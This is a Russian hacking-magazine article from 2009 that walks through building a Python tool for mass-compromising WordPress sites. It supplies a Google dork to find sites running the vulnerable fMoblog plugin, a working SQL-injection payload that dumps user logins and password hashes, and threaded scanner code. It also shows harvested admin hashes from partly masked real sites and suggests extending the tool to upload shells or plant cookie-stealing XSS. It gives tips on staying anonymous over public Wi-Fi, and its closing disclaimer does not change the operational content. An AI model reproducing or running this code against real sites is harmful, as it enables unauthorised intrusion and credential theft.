Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #125, МАЙ 2009 г.

Конвейерный хак по-программмерски. Автоматизация взлома сайтов с помощью Python

Роман «Spirit» Хоменко (http://tutamc.com)


Захватить один сайт, к примеру, за час – хорошо. А сотню? Вот уж действительно здорово! В этом нелегком деле хакерам помогают программерские средства автоматизации. Сейчас мы, на основе конкретного примера, напишем тулзу на Python, с помощью которой захватим несколько десятков сайтов.

Среди множества сайтов, на которые подписана моя RSS-читалка, почетное место занимает крупнейший баг-трекер http://milw0rm.com. Постоянное чтение данного ресурса со временем подвело меня к интересной мысли – как на практике применить всю эту кучу постоянно обновляющейся информации. Я решил создать свой маленький хак-конвейер, который на вход будет принимать свежие баги с milw0rm, а на выходе – выдавать много-много паролей к сайтам.
Как ты догадываешься, идею я не только довел до практической реализации, но и горю желанием поделиться с тобой подробностями. Общий алгоритм работы нашего заводика будет таким:

  • Достать список всех сайтов, теоретически содержащих уязвимость;
  • Попытаться эксплуатировать уязвимость в каждом из них.

Приступим!

Пример для конвейера

Над выбором примера долго мучиться не будем. Возьмем последнее, что есть на milw0rm под любимый многими WordPress - http://milw0rm.com/exploits/8229, где описана бага в плагине галереи fMoblog:

Wordpress Plugin fMoblog Remote SQL Injection Vulnerability
Author: strange kevin
Dork: "Gallery powered by fMoblog"
Exploit: http://www.site.com/?page_id=[valid_id]&
id=-99+union+all+select+1,2,3,4,group_concat(
user_login,0x3a,user_pass,0x3a,user_email),
6+from+wp_users--

Список жертв

Любой массовый захват сайтов начинается с поиска подходящих кандидатур. В описании автор любезно предоставил dork - фразу для поиска, с помощью которой можно получить солидный список потенциальных жертв. Правда, исходя из опыта, он не совсем нам подойдет, ведь для сплоита нужен валидный идентификатор страницы. Этот идентификатор поиска нам надо будет получить одновременно с URL страницы, поэтому дорк мы изменим на:

inurl:page_id+"Gallery+powered+by+fMoblog"

А теперь пропарсим Гугл по вышеозначенному дорку:

http://www.google.com/search?q=dork&start=0

После загрузки страницы мы применим регулярку, получив с ее помощью список URL уязвимых сайтов. Составить регулярку легко, посмотрев на исходную страницу Гугла после поиска: все нужное нам находится в теге «а», который идет после элемента с классом «r». Итак, прошу любить и жаловать наш регэксп:

class=r><a href="([^"&]*)

Здесь мы видим, что в квадратных скобках указано взять все символы, кроме двойных кавычек или знака &. После обработки рэгэкспом строчка вида:

...<h3 class=r><a href="http://saturdaybang.org/?page_id=12&id=16"...

– вернется к нам в первом параметре в виде: http://saturdaybang.org/?page_id=12, что нам и требуется.

Используя эти знания, напишем скрипт парсинга (google.py), который будет складывать результаты в файл (например, google.txt). На этом скрипте, в силу его простоты, мы останавливаться не будем, комментированные исходники ты сможешь найти во врезке. Я лишь замечу, что там подключен один неизвестный тебе самописный модуль curl, размещенный в файле curl.py. Он представляет собой обвертку над pycurl. Curl.py состоит всего из одной функции, которая облегчает использование pycurl при Get-запросах. Эта функция url_get принимает один параметр - URL сайта, а возвращает или пустое значение, если запрос не удался, или тело ответа. Рассмотрим его более подробно:

curl.py

#подключаем модули для работы с сетью
#и для работы со строками
import pycurl
import StringIO
#в аргументе передаем URL запроса
def url_get(url):
#инициализируем объекты
data = StringIO.StringIO()
curl = pycurl.Curl()
#настраиваем pycurl
curl.setopt(pycurl.FOLLOWLOCATION, 0)
curl.setopt(pycurl.CONNECTTIMEOUT, 30)
curl.setopt(pycurl.URL, url)
curl.setopt(pycurl.WRITEFUNCTION,data.write)
try:
#исполняем запрос
curl.perform()
except:
pass
curl.close()
#возвращаем результат
return data.getvalue()

После запуска написанного скрипта google.py нами будет получен файл google.txt со списком теоретически уязвимых сайтов, благодаря чему мы можем перейти к самому интересному - к разработке системы тестирования.

Проектирование завода

Скрипт тестирования реализуется разными способами, но мне бы хотелось сделать ставку на универсальность – баги появляются всякие, и скрипт должен быть достаточно гибким, чтобы его можно было бы под них оперативно модифицировать. В общем, я решил разделить все хозяйство на две части. В задачи первой (главной) части будет входить открытие списка сайтов, запуск функции проверки, – а саму функцию проверки мы вынесем в отдельный файл ради обеспечения гибкости.

Пусть главный файл будет называться autotester.py, а файл с функцией тестирования - wp.py.

Разработка wp.py

Модуль wp.py состоит из конфига и одной функции. В конфиге в переменной max_count_thead мы укажем максимальное количество потоков, а затем, в переменных, укажем названия файлов, которые нам нужны:

file_google = "google.txt"
file_success = "success.txt"
file_failed = "failed.txt"
max_count_thead = 20

В file_google будут находиться тестируемые сайты. В file_success попадет удачный результат тестирования, а в file_failed – неудачный. С файлами есть один нюанс. Нам нужно, чтобы все потоки могли записывать информацию в файлы беспрепятственно. Сделать это в функции тестирования нельзя, так как она будет исполняться в потоке в процессе записи в файлы из нескольких потоков. Поэтому открытие, закрытие и саму запись предстоит вынести в главную программу, а функции тестирования будут лишь вызывать их. Для этого подключим в нашем модуле тестирования главную программу, чтобы иметь доступ к функциям, которые мы назовем success и failed. Их подключения выполним так:

from __main__ import success,failed

__main__ - это специальная переменная, которая определяет главный модуль. Теперь, к примеру, для того чтобы записать информацию о неудачном взломе, нужно вызвать:

failed('site')

Сами функции мы разработаем в процессе создания главного модуля. Перейдем к разработке функции тестирования. Пусть она будет называться run и в качестве аргумента принимать url сайта для тестирования:

import curl
import re
def run(url):
new_url=url+'&id=-999+union+all+select+1,2,3,4,
group_concat(
0x3a,0x3a,user_login,0x3a,user_pass,0x3a,0x3a),
6+from+wp_users--'
rez = curl.url_get(new_url)
rez = re.findall('::(.*)::',rez)
if (len(rez)==0):
failed(url)
else:
success(url+':'+rez[0])
print '# '+url+' tested'

Сначала в ней делается запрос, в котором присутствует SQL-инъекция. Она вернет нам логины и пароли. При выводе результата тот обрамляется двоеточием (0x3a) – благодаря чему результат мы сможем извлечь простой регуляркой. Результаты удачного взлома записываются в соответствующий файл, а неудачного выносятся на позорный столб, имя которому - failed.txt.

Многопоточность

В ядре мы будем использовать многопоточность. Для лучшего понимания предварительно изучим немного теории. Многопоточность в питоне реализована довольно просто и реализовать ее можно разными методами. Мы рассмотрим только один (мой любимый). Для его использования нужно объявить библиотеку «thread» через команду «import thread», а дальше - спокойно запускать абсолютно любую функцию как поток командой thread.start_new_thread.

Для демонстрации данного подхода объявим простенькую функцию с одной инструкцией «pass» (в Python нельзя объявить цикл или функцию совсем без инструкций):

def some_function():
pass

Далее запустим эту функцию как поток:

thread.start_new_thread(some_function,())

А поскольку прелесть потоков в их количестве, то запустим сразу десять штук:

for i in xrange(0,10):
thread.start_new_thread(some_function,())

Здесь есть проблема – отсутствует встроенное средство, которое бы контролировало выполнение потоков и их количество при использовании модуля thread. Главная программа может завершиться, не дожидаясь выполнения потоков. Для решения этой проблемы достаточно ввести дополнительную переменную, которая будет хранить количество активных потоков. Назовем ее «count_thread» и вначале присвоим ей 0, что будет означать, что количество запущенных потоков равно нулю. При каждом запуске потока нужно увеличивать наш флаг на 1:

for i in xrange(0,sys.argv[3]):
count_thread += 1
thread.start_new_thread(some_function,())

Кроме того, в каждую функцию, которую мы планируем запускать как поток, нужно добавить изменения, чтобы она при завершении своей работы уменьшала флаг потоков на единицу:

def some_function():
global count_thread
pass
count_thread -= 1

В конце программы мы напишем бесконечный цикл, ждущий завершения всех потоков:

while (count_thead»0):
pass

Теперь применим это в нашей программе.

Разработка ядра

В главной программе первым делом нужно подключить функцию тестирования. Пусть имя файла с функцией будет храниться в переменной:

file_test_site = 'wp'

Если же попробовать вызвать import file_test_site, то питон выдаст жалобу на отсутствие такого модуля. Поэтому подключать нужно через специальную функцию следующим образом:

test_site = __import__(file_test_site)

Благодаря этой строчке, все функции и переменные с wp.py будут доступны через переменную test_site в главной программе. К примеру, чтобы обратиться к переменной с максимальным количеством потоков, объявленной в wp.py, нужно написать следующее:

print test_site.max_count_thead

Далее по ходу программы нам полагается открыть необходимые файлы, имена которых определены в файле wp.py:

fi = open(test_site.file_google,'r')
site_list = fi.readlines()
site_list = uniq(site_list)
f_success = open(test_site.file_success,'w')
f_failed = open(test_site.file_failed,'w')

Здесь все известно, кроме функции uniq. Она написана для борьбы с дублирующимися сайтами (если они останутся после парсинга Гугла). Код функции таков:

def uniq(inlist):
#объявим пустой список
rez = []
#цикл по всему входному списку
for item in inlist:
#если элемента нет в исходящем списке
if item not in rez:
#добавим элемент в список результата
rez.append(item)
return rez

Не забудь также написать функции для записи результатов. К примеру, успех мы зафиксируем так:

def success(text):
global f_success
f_success.write(text+"\n")
f_success.flush()

Тут мы видим функцию flush, постоянно сбрасывающую файловый буфер на диск – этот маневр спасет намытые данные от внезапного завершения программы. Затем идет главный цикл программы, который читает site_list и вытягивает оттуда по одной записи URL-сайта через метод pop:

site = site_list.pop()

Он позволяет работать со списком, как со стеком – то есть, берет самую верхнюю запись и при этом удаляет ее из списка. Подготовительные работы выполнены и можно запускать функцию run_test как поток. А она уже, в свою очередь, вызовет функцию тестирования run из модуля google.py:

def run_test(site):
global count_thead
test_site.run(site)
count_thead -= 1

Сам запуск потоков выглядит так:

#пока есть необработанные сайты
while ( len(site_list)»0 ):
#если количество потоков меньше максимального числа
if (test_site.max_count_thead > count_thead):
#взять со списка один сайт
site = site_list.pop()
count_thead +=1
#запустить проверку взятого сайта
thread.start_new_thread(run_test,(site,))
#если потоков больше максимального числа,
#то подождем пока какой-нибудь освободится
else:
pass

Этот код обеспечивает запуск функции тестирования как потока для всех сайтов и контролирует, чтобы потоков не было больше максимального числа, что было указано в переменной max_count_thead, объявленной в wp.py. Напомню, что все скрипты с подробными комментариями есть на диске.

Защита от «друзей»

Как ты наверняка заметил, в данном примере я не использую прокси, практикуя прямое подключение к атакуемым сайтам. Конечно, при желании, можно реализовать поддержку соксов, изменив функцию url_get, но я предпочитаю поступать по-другому. Обычно я стараюсь писать автоматические скрипты, не требующие особого присмотра, и когда все готово, просто беру нетбук и выхожу с ним в люди – например, в питейное заведение, где есть вай-фай. Там я испиваю пиво (через то зело рад становясь), запускаю скрипты, спокойно закрываю крышку нетбука и кладу его под стол. Никто даже не предполагает, чем я занимаюсь в интернете. Вай-фай дает вполне приличную скорость, а поскольку юзается многопоточность, то затраты времени на работу скриптов невелики. Готовый результат я оцениваю уже дома, просматривая сохраненные скриптами логи. Тем не менее, безопасность никогда не бывает лишней, поэтому поддержка соксов приветствуется.

Тестирование

Ну что же, нам осталось только протестировать написанный код на практике. Я последовательно запустил файлы google.py и autotester.py, а после завершения их работы – глянул в файл success.txt, который порадовал меня своим объемом. Вот первые три строчки из него:

http://kota***an.com/wp/:lug:$P$B16Yr5TQFQ2tjrmMxUHiZubzzqZJ2A.
http://info***e.com/:admin:$P$B58JineUw6OJoEDL9hD9me5XaumzOt0
http://www.tar***up.com/:admin:$P$BRH1fDlLrqhpAOLOo38w5Xlke/AH70.

Итак, здесь у нас имеет место логин и захешированный пароль для доступа в админку. С захешированным паролем поможет разобраться последний PasswordsPro (http://www.insidepro.com/download/passwordspro.zip). Но доступ к админке - не главная цель автора статьи. В первую очередь я хотел показать, как сделать инструмент для быстрого и эффективного хака. Ведь если, к примеру, ты возьмешь не SQL injection, а исполнение кода, то сможешь быстро изменить функцию run в wp.py, чтобы она заливала тебе шелл на сервер. Если ты найдешь активную XSS, то сможешь легко ее внедрить на все сайты, и лишь потом ждать на снифере кукисы. В общем, простор для деятельности у тебя есть, изучай! Именно изучай, но ни в коем случае не используй свои знания во вред людям – ты ведь знаешь, что ][ - не деструктивный журнал и все, что мы пишем, служит только одной цели – помочь админам защитить свои сайты от злобных автохакеров. Удачи!

Скрипт парсинга Гугла

#конфиг парсера
dork = 'inurl:page_id+"Gallery+powered+by+fMoblog"'
page = 10
reg = 'class=r»«a href="([^"&]*)'

print "# start"
print "# dork:" + dork
print "# all page: " + str(page)
#открываем файл на запись
fo = open('google.txt','w')
print "# google.txt open"

import curl
import time
import re
#пройтись по page страницам в Гугле
for i in xrange(0,page):
#формирование URL
url = "http://www.google.com/search?q="+dork+"&start=" + str(i*10)
#исполнения запроса
rez = curl.url_get(url)
#достаем ссылки
rez = re.findall(reg,rez)
#записываем результат в файл
for item in rez:
fo.write(item+"\n")
print "# page "+str(i+1)+" done"
#ждем 2 сек.
time.sleep(2)
#закрываем файл
fo.close
print '# all done'

DVD

На диске, кроме исходников, ищи полноценное видео от автора с демонстрацией работы скриптов.

WARNING

Вся информация представлена лишь в ознакомительных целях. Не нужно повторять глупости за автором!

WWW

Содержание